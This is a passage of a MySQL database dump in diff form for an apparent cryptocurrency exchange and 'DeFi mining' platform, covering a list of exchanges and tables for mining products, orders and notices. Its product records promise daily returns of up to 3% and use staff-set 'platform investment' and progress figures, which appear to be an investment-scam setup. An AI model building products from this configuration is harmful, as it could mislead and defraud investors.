NULL); +INSERT INTO `t_markets` VALUES (379, 'huobiar', 'Huobi Argentina', 'https://www.huobiar.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (380, 'coss', 'COSS', 'https://www.coss.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (381, 'huobith', 'Huobi Thailand', 'https://www.huobi.co.th', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (382, 'huobiru', 'Huobi Russia', 'https://www.huobi.com.ru', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (383, 'cpdax', 'CPDAX', 'https://www.cpdax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (384, 'huobiau', 'Huobi Australia', 'https://www.huobi.com.au', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (385, 'crex24', 'Crex24', 'https://crex24.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (386, 'huobiindo', 'Huobi Indonesia', 'https://www.huobi.com.co', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (387, 'crxzone', 'CRXzone', 'https://www.crxzone.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (388, 'ftx', 'FTX', 'https://ftx.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (389, 'cryptaldash', 'CryptalDash', 'https://www.cryptaldash.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (390, 'bfx-futures', 'BFX Futures', 'https://www.bfx.nu/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (391, 'cryptobridge', 'CryptoBridge', 'https://crypto-bridge.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (392, 'dxdcoin', 'DXD', 'https://www.dxdcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (393, 'cryptoderivatives', 'CryptoDerivatives', 'https://cryptoderivatives.market/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (394, 'uniswap', 'Uniswap', 'https://uniswap.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (395, 'cryptohub', 'Cryptohub', 'https://cryptohub.online/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (396, 'justswap', 'Justswap', 'https://justswap.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (397, 'cryptomarket', 'CryptoMarket', 'https://www.cryptomkt.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (398, 'ftx-us', 'FTX US', 'https://ftx.us', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (399, 'cryptomate', 'Cryptomate', 'https://cryptomate.co.uk', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (400, 'cryptonex', 'Cryptonex', 'https://cryptonex.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (401, 'cryptopia', 'Cryptopia', 'https://www.cryptopia.co.nz', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (402, 'pancakeswap', 'Pancakeswap', 'https://pancakeswap.info', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (403, 'cybex', 'Cybex', 'https://cybex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (404, 'mdex-bsc', 'Mdex (BSC)', 'https://mdex.com/?lang=zh-CN#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (405, 'dc-ex', 'DC-Ex', 'https://www.dc-ex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (406, 'mdex-heco', 'Mdex (HECO)', 'https://mdex.com/?lang=zh-CN#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (407, 'ddex', 'DDEX', 'https://ddex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (408, 'dex-top', 'DEx.top', 'https://dex.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (409, 'dgtmarket', 'Dgtmarket', 'https://exchange.dgtmarket.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (410, 'raydium', 'Raydium', 'https://raydium.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (411, 'quickswap', 'Quickswap', 'https://quickswap.exchange', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (412, 'dobitrade', 'DOBI trade', 'https://www.dobiexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (413, 'traderjoe', 'Traderjoe', 'https://www.traderjoexyz.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (414, 'dragonex', 'Dragon Exchange', 'https://www.dragonex.in', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (415, 'dodoex', 'Dodoex', 'https://dodoex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (416, 'dsx', 'DSX', 'https://dsx.uk', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (417, 'orca', 'Orca', 'https://www.orca.so/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (418, 'ebtcbank', 'eBTCbank', 'http://ebtcbank.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (419, 'era-ex', 'ERA Exchange', 'https://era-ex.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (420, 'tokenlon', 'Tokenlon', 'https://tokenlon.im/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (421, 'escodex', 'Escodex', 'https://www.escodex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (422, 'balancer', 'Balancer', 'https://balancer.fi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (423, 'etherflyer', 'Etherflyer', 'https://www.etherflyer.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (424, 'european-central-bank', 'European Central Bank', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (425, 'dydx', 'dYdX', 'https://dydx.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (426, 'exbb-io', 'Exbb', 'https://www.exbb.io/zh-CN/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (427, 'zkswap', 'ZKSwap', 'https://zks.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (428, 'excambriorex', 'ExcambrioRex', 'http://www.excambiorex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (429, 'exnow', 'Exnow', 'https://www.exnow.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (430, 'exrates', 'Exrates', 'https://exrates.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (431, 'exx', 'Exx', 'https://www.exx.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (432, 'ezbtc', 'ezBtc', 'https://www.ezbtc.ca', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (433, 'fargobase', 'Fargobase', 'https://fargobase.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (434, 'fcoin', 'FCoin', 'https://www.fcoin.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (435, 'fcoinjp', 'FcoinJP', 'https://www.fcoinjp.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (436, 'fex-hk', 'FEX(HK)', 'https://fexpro.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (437, 'fisco', 'Fisco', 'https://fcce.jp', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (438, 'forkdelta', 'ForkDelta', 'https://forkdelta.github.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (439, 'foxbit', 'Foxbit', 'https://foxbit.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (440, 'ftx-futures', 'Ftx Futures', 'https://ftx.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (441, 'fubt', 'FuBT', 'https://www.fubt.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (442, 'gatehub', 'Gatehub', 'https://www.gatehub.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (443, 'gbx-digital-asset-exchange', 'GBX Digital Asset Exchange', 'https://exchange.gbx.gi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (444, 'gdac', 'GDAC', 'https://www.gdac.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (445, 'getbtc', 'Getbtc', 'https://getbtc.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (446, 'go-top', 'GoTop', 'https://www.go.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (447, 'graviex', 'Graviex', 'https://graviex.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (448, 'guldentrader', 'GuldenTrader', 'https://guldentrader.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (449, 'hb-top', 'HB.top', 'https://hb.top/index.html', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (450, 'hcoin', 'Hcoin', 'https://www.hcoin86.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (451, 'heat-wallet', 'Heat Wallet', 'https://heatwallet.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (452, 'hht-one', 'HashToken', 'https://hht.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (453, 'hib8', 'HiB8', 'https://hib8.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (454, 'hibtc', 'Hibtc', 'https://www.hibtc.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (455, 'hoo', 'Hoo', 'https://hoo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (456, 'hotbit', 'Hotbit', 'https://www.hotbit.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (457, 'hotcoin-top', 'Hotcoin', 'https://www.hotcoinex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (458, 'hpx', 'Hpx', 'https://www.hpx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (459, 'hubi', 'Hubi', 'https://www.hubi.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (460, 'huobikr', 'Huobi Korea', 'https://www.huobi.co.kr', 'enable', 1, 1, 0, NULL); + +-- ---------------------------- +-- Table structure for t_mine_financial +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_financial`; +CREATE TABLE `t_mine_financial` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '标题', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '启用禁用(展示在前端)1开0关', + `days` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '天数(如 7,10,30)', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小日利率百分比', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大日利率百分比', + `time_limit` int(0) NOT NULL COMMENT '每人限购次数,0表示不限', + `limit_min` decimal(20, 4) NOT NULL COMMENT '最小金额', + `limit_max` decimal(20, 4) NOT NULL COMMENT '最大金额', + `is_hot` tinyint(0) NULL DEFAULT NULL COMMENT '是否热销1是0否', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `buy_purchase` int(0) NULL DEFAULT 0 COMMENT ' 购买次数', + `avg_rate` decimal(8, 2) NULL DEFAULT 0.00 COMMENT '日平均利率', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `classify` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '分类(0 普通 1 vip 2 增值)', + `basic_invest_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '平台基础投资金额', + `total_invest_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '平台总投资额', + `level` int(0) NULL DEFAULT 0 COMMENT 'VIP等级 ', + `process` decimal(8, 2) NULL DEFAULT 0.00 COMMENT '项目进度', + `remain_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '剩余金额', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + `purchased_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '易购金额', + `problem` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '常见问题', + `prodect_introduction` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '产品介绍', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_mine_financial +-- ---------------------------- +INSERT INTO `t_mine_financial` VALUES (1, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.091462494a8434ed68ce414b2f521d57b.jpg', 1, '15', 0.20, 2.50, 3.00, 3, 500.0000, 200000.0000, 1, 0, 'admin', '2023-07-20 13:48:18', NULL, '2023-12-08 02:51:33', 3, 0.75, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 25.00, 749995493.0000, NULL, 10855.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (2, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.068ab587a6e964880a4b89930bcf01ba1.jpg', 1, '30', 0.20, 1.00, 1.50, 5, 10000.0000, 500000.0000, 1, 0, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:15:19', 103, 3.00, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 24.00, 760000000.0000, NULL, 240000000.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (4, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08454226445c0498eab8da0f24ef063be.jpg', 1, '60', 0.20, 0.01, 0.10, 0, 50000.0000, 1000000.0000, 1, 2, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:15:51', 103, 5.00, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 90.00, 100000000.0000, NULL, 900000000.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (5, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d9f288487ae74ecc85df47e3df783328.jpg', 1, '120', 0.20, 0.01, 0.10, 0, 100000.0000, 2000000.0000, 1, 3, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:16:37', 103, 7.00, 'usdt', '0', 1000000000.0000, 750000000.0000, 0, 75.00, 25000000.0000, NULL, 750000000.0000, '定期投资', '定期投资'); + +-- ---------------------------- +-- Table structure for t_mine_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_order`; +CREATE TABLE `t_mine_order` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `adress` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址', + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `days` int(0) NOT NULL COMMENT '投资期限(天)', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '0 收益 1 结算', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `plan_title` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '项目名称', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '投资时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '到期时间', + `settle_time` datetime(0) NULL DEFAULT NULL COMMENT '结算时间', + `accumula_earn` decimal(20, 6) NULL DEFAULT NULL COMMENT '累计收益', + `update_time` datetime(0) NULL DEFAULT NULL, + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小利率', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大利率', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `type` int(0) NULL DEFAULT NULL COMMENT '0 质押挖矿 1 非质押挖矿', + `collection_order` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL, + `order_amount` decimal(8, 2) NULL DEFAULT NULL, + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `avg_rate` decimal(8, 2) NULL DEFAULT NULL COMMENT '收益率', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台用户id', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_mine_order_day +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_order_day`; +CREATE TABLE `t_mine_order_day` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `odds` decimal(10, 4) NOT NULL COMMENT '当日利率', + `earn` decimal(20, 6) NULL DEFAULT NULL COMMENT '收益', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NOT NULL COMMENT '时间', + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址', + `type` int(0) NULL DEFAULT NULL COMMENT '0 质押挖矿 1 非质押挖矿', + `update_time` datetime(0) NULL DEFAULT NULL, + `status` int(0) NULL DEFAULT NULL COMMENT '1 待结算 2 结算', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_mine_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_user`; +CREATE TABLE `t_mine_user` ( + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `id` bigint(0) NOT NULL COMMENT '挖矿产品id', + `time_limit` bigint(0) NOT NULL COMMENT '限购次数' +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_ming_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_order`; +CREATE TABLE `t_ming_order` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `days` int(0) NOT NULL COMMENT '投资期限(天)', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '0 收益 1 结算', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `plan_title` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '项目名称', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '投资时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '到期时间', + `settle_time` datetime(0) NULL DEFAULT NULL COMMENT '结算时间', + `accumula_earn` decimal(20, 4) NULL DEFAULT NULL COMMENT '累计收益', + `update_time` datetime(0) NULL DEFAULT NULL, + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小利率', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大利率', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台用户id', + `collection_order` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL, + `order_amount` decimal(20, 4) NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE, + INDEX `admin_user_id`(`admin_user_ids`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 352 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_ming_order +-- ---------------------------- +INSERT INTO `t_ming_order` VALUES (351, 500.0000, 7, 2, 1, 'USDT', 'E120718525483', '2023-12-08 02:52:51', '2023-12-15 02:52:51', NULL, 0.0000, '2023-12-08 02:53:50', 0.20, 0.50, NULL, NULL, 315, NULL); + +-- ---------------------------- +-- Table structure for t_ming_product +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_product`; +CREATE TABLE `t_ming_product` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '标题', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '启用禁用(展示在前端)1开0关', + `days` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '天数(如 7,10,30)', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `min_odds` decimal(8, 3) NULL DEFAULT NULL COMMENT '最小日利率百分比', + `max_odds` decimal(8, 3) NULL DEFAULT NULL COMMENT '最大日利率百分比', + `time_limit` int(0) NOT NULL COMMENT '每人限购次数,0表示不限', + `limit_min` decimal(20, 4) NOT NULL COMMENT '最小金额', + `limit_max` decimal(20, 4) NOT NULL COMMENT '最大金额', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `buy_purchase` int(0) NULL DEFAULT 0 COMMENT ' 购买次数', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 16 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_ming_product +-- ---------------------------- +INSERT INTO `t_ming_product` VALUES (1, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06dec2653fd45456e8e3dcd9ecb1f7b8a.jpg', 0, '7', 0.10, 0.200, 0.500, 10, 10.0000, 500.0000, 1, NULL, '2023-08-19 18:42:06', NULL, '2023-08-24 23:55:46', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (13, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.059986156ff7b45ca897f393828766770.jpg', 0, '15', 0.10, 0.400, 0.750, 100, 500.0000, 2000.0000, 2, NULL, '2023-08-22 10:24:44', NULL, '2023-08-24 23:56:26', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (14, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03366bda187434cb2baee093e89c6e17d.jpg', 0, '30', 0.10, 0.600, 1.000, 100, 1000.0000, 50000.0000, 3, NULL, '2023-08-22 10:25:37', NULL, '2023-08-24 23:58:12', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (15, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.05cded645be384353b840582c587b21e8.jpg', 0, '60', 0.10, 1.000, 1.500, 100, 1000.0000, 100000.0000, 4, NULL, '2023-08-22 16:46:29', NULL, '2023-08-24 23:58:44', 0, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_ming_product_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_product_user`; +CREATE TABLE `t_ming_product_user` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `product_id` int(0) NULL DEFAULT NULL COMMENT '产品id', + `app_user_id` bigint(0) NULL DEFAULT NULL COMMENT '玩家用户id', + `pledge_num` int(0) NULL DEFAULT NULL COMMENT '限购次数', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户购买质押限制表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_notice +-- ---------------------------- +DROP TABLE IF EXISTS `t_notice`; +CREATE TABLE `t_notice` ( + `notice_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '公告ID', + `notice_title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '标题', + `notice_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '公告类型 1=公告信息 2=活动公告 3=首页滚动公告', + `model_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '1' COMMENT '模块类型 1=公告信息 2=活动公告 3=首页滚动公告 \r\n1={1=链接弹窗 2=图文弹窗}, \r\n2={1=首页轮播活动 2=Defi挖矿活动图},\r\n3={1=首页滚动公告}\r\n注:没有二级的默认给1\r\n二级联动', + `notice_content` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '内容', + `comments_num` int(0) NULL DEFAULT 0 COMMENT '评论数', + `cover` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '图片', + `view_num` int(0) NULL DEFAULT 0 COMMENT '浏览数', + `expire_time` datetime(0) NULL DEFAULT NULL COMMENT '公告截止时间', + `img_url` 